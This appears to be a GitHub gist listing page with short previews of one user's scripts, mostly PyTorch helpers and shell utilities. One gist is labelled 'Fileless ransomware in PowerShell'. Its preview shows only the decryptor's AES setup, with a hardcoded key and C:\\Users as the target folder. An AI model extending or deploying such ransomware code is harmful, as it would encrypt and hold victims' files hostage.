💣

Adrian Brodzik brodzik

💣

brodzik / decrypt.ps1

Created March 21, 2023 21:37

Fileless ransomware in PowerShell

	$directoryPath = "C:\Users"

	$aesKey = [System.Text.Encoding]::UTF8.GetBytes("MySecretKey12345")

	$aes = [System.Security.Cryptography.Aes]::Create()
	$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
	$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
	$aes.Key = $aesKey

	function Decrypt-File($filePath) {

brodzik / genbytes.sh

Last active October 31, 2022 13:35

Generates files with random bytes.

	nfiles=10
	nbytes=$((2**20))

	for i in $(seq -f "%03g" 0 $(($nfiles - 1))); do
	dd if=/dev/urandom bs=$nbytes count=1 > $i.bin
	done

brodzik / colab_idle.js

Created April 8, 2021 13:14

Prevents Google Colab from disconnecting.

	function ClickConnect() {
	document.querySelector("colab-toolbar-button").click()
	} setInterval(ClickConnect, 600000)

brodzik / compress_mp4.sh

Created March 16, 2021 11:38

Compress MP4 files using FFmpeg

./ffmpeg -i input.mp4 -vcodec libx264 -crf 20 output.mp4

brodzik / get_lr.py

Created August 27, 2020 19:25

Get the current learning rate in PyTorch

	def get_lr(optimizer):
	for p in optimizer.param_groups:
	return p["lr"]

brodzik / count_parameters.py

Created August 9, 2020 12:46

Get the number of trainable parameters in PyTorch

	def count_parameters(model):
	return sum(p.numel() for p in model.parameters() if p.requires_grad)

brodzik / seed_everything.py

Last active October 8, 2021 19:26

seed_everything i.e. initialize pseudo-random number generators

	import os
	import random
	import numpy as np
	import torch


	def seed_everything(seed):
	random.seed(seed)
	os.environ["PYTHONHASHSEED"] = str(seed)
	np.random.seed(seed)

brodzik / move.sh

Created May 13, 2020 23:45

Move files from sub-directories to current directory.

find . -mindepth 2 -type f -exec mv --backup=numbered {} . \;

brodzik / crop_and_label.py

Created December 22, 2019 14:50

	import cv2
	import os
	import glob
	import argparse
	from tqdm import tqdm
	import pandas as pd


	def click_and_crop(event, x, y, flags, param, points):
	if event == cv2.EVENT_LBUTTONUP:

brodzik / pytorch-classification-example.py

Created December 13, 2019 13:56